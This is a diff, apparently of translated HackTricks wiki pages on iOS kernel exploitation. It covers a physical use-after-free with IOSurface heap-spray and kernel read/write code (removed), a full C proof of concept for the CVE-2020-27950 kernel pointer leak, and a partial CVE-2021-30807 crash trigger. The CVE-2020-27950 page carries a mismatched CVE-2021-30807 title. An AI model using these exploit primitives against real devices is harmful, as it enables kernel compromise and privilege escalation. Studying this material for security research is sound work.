Translated ['src/binary-exploitation/ios-exploiting/ios-corellium.md', '

src/SUMMARY.md

@@ -768,7 +768,7 @@
     - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
   - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
   - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
-- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
+- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
   - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
   - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
   - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@@ -838,7 +838,7 @@
   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
 
 # 🤖 AI
 - [AI Security](AI/README.md)

src/binary-exploitation/ios-exploiting.md

@@ -1,207 +0,0 @@
-# iOS Exploiting
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Fisiese gebruik-na-vry
-
-Dit is 'n opsomming van die pos van [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) verder kan meer inligting oor die ontginning met hierdie tegniek gevind word in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
-
-### Geheuebestuur in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
-
-Die **virtuele geheue-adresruimte** vir gebruikersprosesse op iOS strek van **0x0 tot 0x8000000000**. Hierdie adresse is egter nie direk aan fisiese geheue gekoppel nie. In plaas daarvan gebruik die **kernel** **bladsy tabelle** om virtuele adresse in werklike **fisiese adresse** te vertaal.
-
-#### Vlakke van Bladsy Tabel in iOS
-
-Bladsy tabelle is hiërargies georganiseer in drie vlakke:
-
-1. **L1 Bladsy Tabel (Vlak 1)**:
-* Elke inskrywing hier verteenwoordig 'n groot reeks van virtuele geheue.
-* Dit dek **0x1000000000 bytes** (of **256 GB**) van virtuele geheue.
-2. **L2 Bladsy Tabel (Vlak 2)**:
-* 'n Inskrywing hier verteenwoordig 'n kleiner streek van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB).
-* 'n L1 inskrywing kan na 'n L2 tabel verwys as dit nie die hele streek self kan kaart nie.
-3. **L3 Bladsy Tabel (Vlak 3)**:
-* Dit is die fynste vlak, waar elke inskrywing 'n enkele **4 KB** geheue bladsy kaart.
-* 'n L2 inskrywing kan na 'n L3 tabel verwys as meer fyn beheer nodig is.
-
-#### Kaarting van Virtuele na Fisiese Geheue
-
-* **Direkte Kaarting (Blok Kaarting)**:
-* Sommige inskrywings in 'n bladsy tabel kaart direk 'n reeks van virtuele adresse na 'n aaneengeskakelde reeks van fisiese adresse (soos 'n kortpad).
-* **Wys na Kind Bladsy Tabel**:
-* As fynere beheer nodig is, kan 'n inskrywing in een vlak (bv. L1) na 'n **kind bladsy tabel** op die volgende vlak (bv. L2) verwys.
-
-#### Voorbeeld: Kaarting van 'n Virtuele Adres
-
-Kom ons sê jy probeer om toegang te verkry tot die virtuele adres **0x1000000000**:
-
-1. **L1 Tabel**:
-* Die kernel kyk na die L1 bladsy tabel inskrywing wat ooreenstem met hierdie virtuele adres. As dit 'n **wys na 'n L2 bladsy tabel** het, gaan dit na daardie L2 tabel.
-2. **L2 Tabel**:
-* Die kernel kyk na die L2 bladsy tabel vir 'n meer gedetailleerde kaarting. As hierdie inskrywing na 'n **L3 bladsy tabel** verwys, gaan dit daar voort.
-3. **L3 Tabel**:
-* Die kernel soek die finale L3 inskrywing, wat na die **fisiese adres** van die werklike geheue bladsy verwys.
-
-#### Voorbeeld van Adres Kaarting
-
-As jy die fisiese adres **0x800004000** in die eerste indeks van die L2 tabel skryf, dan:
-
-* Virtuele adresse van **0x1000000000** tot **0x1002000000** kaart na fisiese adresse van **0x800004000** tot **0x802004000**.
-* Dit is 'n **blok kaarting** op die L2 vlak.
-
-Alternatiewelik, as die L2 inskrywing na 'n L3 tabel verwys:
-
-* Elke 4 KB bladsy in die virtuele adres reeks **0x1000000000 -> 0x1002000000** sal deur individuele inskrywings in die L3 tabel gekaart word.
-
-### Fisiese gebruik-na-vry
-
-'n **Fisiese gebruik-na-vry** (UAF) gebeur wanneer:
-
-1. 'n Proses **toewys** 'n bietjie geheue as **leesbaar en skryfbaar**.
-2. Die **bladsy tabelle** word opgedateer om hierdie geheue na 'n spesifieke fisiese adres te kaart wat die proses kan toegang.
-3. Die proses **deallokeer** (vry) die geheue.
-4. Maar, as gevolg van 'n **fout**, vergeet die kernel om die kaarting uit die bladsy tabelle te verwyder, alhoewel dit die ooreenstemmende fisiese geheue as vry merk.
-5. Die kernel kan dan **hertoewys hierdie "vrygemaakte" fisiese geheue** vir ander doeleindes, soos **kernel data**.
-6. Aangesien die kaarting nie verwyder is nie, kan die proses steeds **lees en skryf** na hierdie fisiese geheue.
-
-Dit beteken die proses kan toegang verkry tot **bladsye van kernel geheue**, wat sensitiewe data of strukture kan bevat, wat moontlik 'n aanvaller in staat stel om **kernel geheue te manipuleer**.
-
-### Ontginning Strategie: Heap Spray
-
-Aangesien die aanvaller nie kan beheer watter spesifieke kernel bladsye aan vrygemaakte geheue toegeken sal word nie, gebruik hulle 'n tegniek genaamd **heap spray**:
-
-1. Die aanvaller **skep 'n groot aantal IOSurface-objekte** in kernel geheue.
-2. Elke IOSurface-objek bevat 'n **magiese waarde** in een van sy velde, wat dit maklik maak om te identifiseer.
-3. Hulle **skandeer die vrygemaakte bladsye** om te sien of enige van hierdie IOSurface-objekte op 'n vrygemaakte bladsy beland het.
-4. Wanneer hulle 'n IOSurface-objek op 'n vrygemaakte bladsy vind, kan hulle dit gebruik om **kernel geheue te lees en te skryf**.
-
-Meer inligting hieroor in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
-
-### Stap-vir-Stap Heap Spray Proses
-
-1. **Spray IOSurface-Objekte**: Die aanvaller skep baie IOSurface-objekte met 'n spesiale identifiseerder ("magiese waarde").
-2. **Skandeer Vrygemaakte Bladsye**: Hulle kyk of enige van die objekke op 'n vrygemaakte bladsy toegeken is.
-3. **Lees/Skryf Kernel Geheue**: Deur velde in die IOSurface-objek te manipuleer, verkry hulle die vermoë om **arbitraire lees en skryf** in kernel geheue uit te voer. Dit laat hulle toe om:
-* Een veld te gebruik om **enige 32-bit waarde** in kernel geheue te lees.
-* 'n Ander veld te gebruik om **64-bit waardes** te skryf, wat 'n stabiele **kernel lees/skryf primitief** bereik.
-
-Genereer IOSurface-objekte met die magiese waarde IOSURFACE\_MAGIC om later te soek:
-```c
-void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
-if (*nClients >= 0x4000) return;
-for (int i = 0; i < nSurfaces; i++) {
-fast_create_args_t args;
-lock_result_t result;
-
-size_t size = IOSurfaceLockResultSize;
-args.address = 0;
-args.alloc_size = *nClients + 1;
-args.pixel_format = IOSURFACE_MAGIC;
-
-IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
-io_connect_t id = result.surface_id;
-
-(*clients)[*nClients] = id;
-*nClients = (*nClients) += 1;
-}
-}
-```
-Soek na **`IOSurface`**-objekte in een vrygemaakte fisiese bladsy:
-```c
-int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
-io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
-int nSurfaceIDs = 0;
-
-for (int i = 0; i < 0x400; i++) {
-spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
-
-for (int j = 0; j < nPages; j++) {
-uint64_t start = puafPages[j];
-uint64_t stop = start + (pages(1) / 16);
-
-for (uint64_t k = start; k < stop; k += 8) {
-if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
-info.object = k;
-info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
-if (self_task) *self_task = iosurface_get_receiver(k);
-goto sprayDone;
-}
-}
-}
-}
-
-sprayDone:
-for (int i = 0; i < nSurfaceIDs; i++) {
-if (surfaceIDs[i] == info.surface) continue;
-iosurface_release(client, surfaceIDs[i]);
-}
-free(surfaceIDs);
-
-return 0;
-}
-```
-### Bereik Kernel Lees/Skryf met IOSurface
-
-Na die verkryging van beheer oor 'n IOSurface objek in kernel geheue (gemap na 'n vrygestelde fisiese bladsy wat vanaf gebruikersruimte toeganklik is), kan ons dit gebruik vir **arbitraire kernel lees en skryf operasies**.
-
-**Belangrike Velde in IOSurface**
-
-Die IOSurface objek het twee belangrike velde:
-
-1. **Gebruik Tel Punter**: Laat 'n **32-bit lees** toe.
-2. **Geverifieerde Tydstempel Punter**: Laat 'n **64-bit skryf** toe.
-
-Deur hierdie punters te oorskryf, lei ons dit na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.
-
-#### 32-Bit Kernel Lees
-
-Om 'n lees uit te voer:
-
-1. Oorskryf die **gebruik tel punter** om na die teiken adres minus 'n 0x14-byte offset te wys.
-2. Gebruik die `get_use_count` metode om die waarde op daardie adres te lees.
-```c
-uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
-uint64_t args[1] = {surfaceID};
-uint32_t size = 1;
-uint64_t out = 0;
-IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
-return (uint32_t)out;
-}
-
-uint32_t iosurface_kread32(uint64_t addr) {
-uint64_t orig = iosurface_get_use_count_pointer(info.object);
-iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
-uint32_t value = get_use_count(info.client, info.surface);
-iosurface_set_use_count_pointer(info.object, orig);
-return value;
-}
-```
-#### 64-Bit Kernel Write
-
-Om 'n skrywe uit te voer:
-
-1. Oorskryf die **geïndekseerde tydstempel-aanwyser** na die teikenadres.
-2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf.
-```c
-void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
-uint64_t args[3] = {surfaceID, 0, value};
-IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
-}
-
-void iosurface_kwrite64(uint64_t addr, uint64_t value) {
-uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
-iosurface_set_indexed_timestamp_pointer(info.object, addr);
-set_indexed_timestamp(info.client, info.surface, value);
-iosurface_set_indexed_timestamp_pointer(info.object, orig);
-}
-```
-#### Exploit Flow Recap
-
-1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik.
-2. **Spray IOSurface Objects**: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in die kerngeheue.
-3. **Identify Accessible IOSurface**: Vind 'n IOSurface op 'n vrygestelde bladsy wat jy beheer.
-4. **Abuse Use-After-Free**: Wysig wysers in die IOSurface-objek om arbitrêre **kern lees/skryf** via IOSurface-metodes moontlik te maak.
-
-With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
-
-{{#include ../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md

@@ -0,0 +1,332 @@
+# CVE-2021-30807: IOMobileFrameBuffer OOB
+
+{{#include ../../banners/hacktricks-training.md}}
+
+
+## Die Fout
+
+Jy het 'n [goeie uiteensetting van die vuln hier](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel_memory_leak), maar as opsomming:
+
+Elke Mach message wat die kernel ontvang, eindig met 'n **"trailer"**: 'n veranderlike-lengte struct met metadata (seqno, sender token, audit token, context, access control data, labels...). Die kernel **reserveer altyd die grootste moontlike trailer** (MAX_TRAILER_SIZE) in die message buffer, maar **initialiseer slegs sommige velde**, en besluit later **watter trailer-grootte teruggegee word** gebaseer op **deur gebruiker beheerde ontvangopsies**.
+
+Hierdie is die trailer-relevante structs:
+```c
+typedef struct{
+mach_msg_trailer_type_t       msgh_trailer_type;
+mach_msg_trailer_size_t       msgh_trailer_size;
+} mach_msg_trailer_t;
+
+typedef struct{
+mach_msg_trailer_type_t       msgh_trailer_type;
+mach_msg_trailer_size_t       msgh_trailer_size;
+mach_port_seqno_t             msgh_seqno;
+security_token_t              msgh_sender;
+audit_token_t                 msgh_audit;
+mach_port_context_t           msgh_context;
+int                           msgh_ad;
+msg_labels_t                  msgh_labels;
+} mach_msg_mac_trailer_t;
+
+#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
+typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
+#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
+```
+Wanneer die trailer-voorwerp gegenereer word, word slegs sommige velde geïnitialiseer, en die maksimum trailer-grootte word altyd gereserveer:
+```c
+trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
+trailer->msgh_sender = current_thread()->task->sec_token;
+trailer->msgh_audit = current_thread()->task->audit_token;
+trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
+trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
+[...]
+trailer->msgh_labels.sender = 0;
+```
+Byvoorbeeld, wanneer jy probeer om ’n mach-boodskap te lees met `mach_msg()` word die funksie `ipc_kmsg_add_trailer()` aangeroep om die trailer aan die boodskap toe te voeg. Binne hierdie funksie word die trailer-grootte bereken en sommige ander trailer-velde gevul:
+```c
+if (!(option & MACH_RCV_TRAILER_MASK)) {                                                       [3]
+return trailer->msgh_trailer_size;
+}
+
+trailer->msgh_seqno = seqno;
+trailer->msgh_context = context;
+trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
+```
+Die `option`-parameter is deur die gebruiker beheerbaar, dus **moet 'n waarde gestuur word wat die `if`-kontrole slaag.**
+
+Om hierdie kontrole te slaag, moet ons 'n geldige ondersteunde `option` stuur:
+```c
+#define MACH_RCV_TRAILER_NULL   0
+#define MACH_RCV_TRAILER_SEQNO  1
+#define MACH_RCV_TRAILER_SENDER 2
+#define MACH_RCV_TRAILER_AUDIT  3
+#define MACH_RCV_TRAILER_CTX    4
+#define MACH_RCV_TRAILER_AV     7
+#define MACH_RCV_TRAILER_LABELS 8
+
+#define MACH_RCV_TRAILER_TYPE(x)     (((x) & 0xf) << 28)
+#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
+#define MACH_RCV_TRAILER_MASK        ((0xf << 24))
+```
+Maar omdat die `MACH_RCV_TRAILER_MASK` net bits kontroleer, kan ons enige waarde tussen `0` en `8` deurgee om nie binne die `if` statement in te gaan nie.
+
+Dan, as jy met die kode voortgaan, vind jy:
+```c
+if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
+trailer->msgh_ad = 0;
+}
+
+/*
+* The ipc_kmsg_t holds a reference to the label of a label
+* handle, not the port. We must get a reference to the port
+* and a send right to copyout to the receiver.
+*/
+
+if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
+trailer->msgh_labels.sender = 0;
+}
+
+done:
+#ifdef __arm64__
+ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
+#endif /* __arm64__ */
+
+return trailer->msgh_trailer_size;
+```
+Waar jy kan sien dat as die `option` groter is of gelyk aan `MACH_RCV_TRAILER_AV` (7), die veld **`msgh_ad`** geïnitialiseer word na `0`.
+
+As jy opgelet het, was **`msgh_ad`** steeds die enigste veld van die trailer wat voorheen nie geïnitialiseer is nie en wat 'n leak van voorheen gebruikte geheue kon bevat.
+
+Dus, om dit te vermy om dit te initialiseer, sou jy 'n `option`-waarde van `5` of `6` deurgee, sodat dit die eerste `if`-kontrole slaag en nie die `if` betree wat `msgh_ad` initialiseert nie, omdat die waardes `5` en `6` nie aan enige trailer-tipe geassosieer is nie.
+
+### Basiese PoC
+
+Binne die [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), het jy 'n PoC om net 'n paar lukrake data te leak.
+
+### Leak Kernel Address PoC
+
+Binne die [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), het jy 'n PoC om 'n kernel adres te leak. Hiervoor word 'n boodskap vol `mach_msg_port_descriptor_t` structs in die boodskap gestuur, omdat die veld `name` van hierdie struktuur in userland 'n unsigned int bevat, maar in kernel is die `name`-veld 'n struct `ipc_port` pointer. Daarom beteken dit dat die stuur van tientalle van hierdie structs in die boodskap in kernel sal lei tot die **byvoeging van verskeie kernel addresses binne die boodskap** sodat een daarvan geleak kan word.
+
+Kommentaar is bygevoeg vir beter begrip:
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <mach/mach.h>
+
+// Number of OOL port descriptors in the "big" message.
+// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
+#define LEAK_PORTS 50
+
+// "Big" message: many descriptors → larger descriptor array in kmsg
+typedef struct {
+mach_msg_header_t header;
+mach_msg_body_t body;
+mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
+} message_big_t;
+
+// "Small" message: fewer descriptors → leaves more room for the trailer
+// to overlap where descriptor pointers used to be in the reused kalloc chunk.
+typedef struct {
+mach_msg_header_t header;
+mach_msg_body_t body;
+mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
+} message_small_t;
+
+int main(int argc, char *argv[]) {
+mach_port_t port;       // our local receive port (target of sends)
+mach_port_t sent_port;  // the port whose kernel address we want to leak
+
+/*
+* 1) Create a receive right and attach a send right so we can send to ourselves.
+*    This gives us predictable control over ipc_kmsg allocations when we send.
+*/
+mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
+mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
+
+/*
+* 2) Create another receive port (sent_port). We'll reference this port
+*    in OOL descriptors so the kernel stores pointers to its ipc_port
+*    structure in the kmsg → those pointers are what we aim to leak.
+*/
+mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
+mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
+
+printf("[*] Will get port %x address\n", sent_port);
+
+message_big_t   *big_message   = NULL;
+message_small_t *small_message = NULL;
+
+// Compute userland sizes of our message structs
+mach_msg_size_t big_size   = (mach_msg_size_t)sizeof(*big_message);
+mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
+
+// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
+big_message   = malloc(big_size   + MAX_TRAILER_SIZE);
+small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
+
+/*
+* 3) Prepare the "big" message:
+*    - Complex bit set (has descriptors)
+*    - 50 OOL port descriptors, all pointing to the same sent_port
+*    When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
+*    Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
+*/
+printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
+memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
+
+big_message->header.msgh_remote_port = port; // send to our receive right
+big_message->header.msgh_size        = big_size;
+big_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
+| MACH_MSGH_BITS_COMPLEX;
+big_message->body.msgh_descriptor_count = LEAK_PORTS;
+
+for (int i = 0; i < LEAK_PORTS; i++) {
+big_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
+big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
+big_message->sent_ports[i].name        = sent_port; // repeated to fill array with pointers
+}
+
+/*
+* 4) Prepare the "small" message:
+*    - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
+*      the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
+*/
+printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
+memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
+
+small_message->header.msgh_remote_port = port;
+small_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
+| MACH_MSGH_BITS_COMPLEX;
+small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
+
+for (int i = 0; i < LEAK_PORTS - 10; i++) {
+small_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
+small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
+small_message->sent_ports[i].name        = sent_port;
+}
+
+/*
+* 5) Receive buffer for reading back messages with trailers.
+*    We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
+*    On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
+*    if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
+*/
+uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
+mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
+uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
+
+/*
+* ---------- Exploitation sequence ----------
+*
+* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
+*         kernel pointers (ipc_port*) in its descriptor array.
+*/
+printf("[*] Sending message 1\n");
+mach_msg(&big_message->header,
+MACH_SEND_MSG,
+big_size,            // send size
+0,                   // no receive
+MACH_PORT_NULL,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+/*
+* Step B: Immediately receive/discard it with a zero-sized buffer.
+*         This frees the kalloc chunk without copying descriptors back,
+*         leaving the kernel pointers resident in freed memory (stale).
+*/
+printf("[*] Discarding message 1\n");
+mach_msg((mach_msg_header_t *)0,
+MACH_RCV_MSG,        // try to receive
+0,                   // send size 0
+0,                   // recv size 0 (forces error/free path)
+port,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+/*
+* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
+*         We slightly bump msgh_size by +4 so that when the kernel appends
+*         the trailer, the trailer's uninitialized field `msgh_ad` overlaps
+*         the low 4 bytes of a stale ipc_port* pointer from the prior message.
+*/
+small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
+printf("[*] Sending message 2\n");
+mach_msg(&small_message->header,
+MACH_SEND_MSG,
+small_size + sizeof(uint32_t),
+0,
+MACH_PORT_NULL,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+/*
+* Step D: Receive message 2 and request an invalid trailer elements value (5).
+*         - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
+*         - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
+*         - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
+*           so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
+*/
+memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
+printf("[*] Reading back message 2\n");
+mach_msg((mach_msg_header_t *)buffer,
+MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
+0,
+small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
+port,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+// Trailer begins right after the message body we sent (small_size + 4)
+trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
+
+// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
+sent_port_address |= (uint32_t)trailer->msgh_ad;
+
+/*
+* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
+*         This moves the overlap window so `msgh_ad` captures the high 4 bytes.
+*/
+printf("[*] Sending message 3\n");
+mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+
+printf("[*] Discarding message 3\n");
+mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+
+// add another +4 to msgh_size → total +8 shift from the baseline
+small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
+printf("[*] Sending message 4\n");
+mach_msg(&small_message->header,
+MACH_SEND_MSG,
+small_size + sizeof(uint32_t)*2,
+0,
+MACH_PORT_NULL,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
+printf("[*] Reading back message 4\n");
+mach_msg((mach_msg_header_t *)buffer,
+MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
+0,
+small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
+port,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
+
+// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
+sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
+
+printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
+
+return 0;
+}
+```
+## Verwysings
+
+- [Synacktiv se blogpos](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
+
+
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md

@@ -0,0 +1,297 @@
+# CVE-2021-30807: IOMobileFrameBuffer OOB
+
+{{#include ../../banners/hacktricks-training.md}}
+
+
+## Die Kwesbaarheid
+
+You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary:
+
+- The vulnerable code path is **external method #83** of the **IOMobileFramebuffer / AppleCLCD** user client: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as **`scalar0`**.
+
+- That method forwards into **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, where **`scalar0`** (a user-controlled **32-bit** value) is used as an **index** into an internal **array of pointers** without **any bounds check**:
+
+> `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\
+> **Result:** **OOB pointer read & type confusion** on that array. If the pointer isn't valid, the kernel deref panics → **DoS**.
+
+> [!NOTE]
+> Dit is reggestel in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**
+
+
+> [!WARNING]
+> Die aanvanklike funksie om `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` aan te roep word beskerm deur die entitlement **`com.apple.private.allow-explicit-graphics-priority`**. However, **WebKit.WebContent** has this entitlement, so it can be used to trigger the vuln from a sandboxed process.
+
+## DoS PoC
+
+Die volgende is die aanvanklike DoS PoC uit die oorspronklike blogpost met ekstra kommentaar:
+```c
+// PoC for CVE-2021-30807 trigger (annotated)
+// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
+// Build/run only on devices you own and that are vulnerable.
+// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
+// https://support.apple.com/en-us/103144
+// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
+
+void trigger_clcd_vuln(void) {
+kern_return_t ret;
+io_connect_t shared_user_client_conn = MACH_PORT_NULL;
+
+// The "type" argument is the type (selector) of user client to open.
+// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
+// external methods we need (incl. selector 83). If this doesn't work on your
+// build, try different types or query IORegistry to enumerate.
+int type = 2;
+
+// 1) Locate the IOMobileFramebuffer service in the IORegistry.
+//    This returns the first matched service object (a kernel object handle).
+io_service_t service = IOServiceGetMatchingService(
+kIOMasterPortDefault,
+IOServiceMatching("IOMobileFramebuffer"));
+
+if (service == MACH_PORT_NULL) {
+printf("failed to open service\n");
+return;
+}
+
+printf("service: 0x%x\n", service);
+
+// 2) Open a connection (user client) to the service.
+//    The user client is what exposes external methods to userland.
+//    'type' selects which user client class/variant to instantiate.
+ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
+if (ret != KERN_SUCCESS) {
+printf("failed to open userclient: %s\n", mach_error_string(ret));
+return;
+}
+
+printf("client: 0x%x\n", shared_user_client_conn);
+
+printf("call externalMethod\n");
+
+// 3) Prepare input scalars for the external method call.
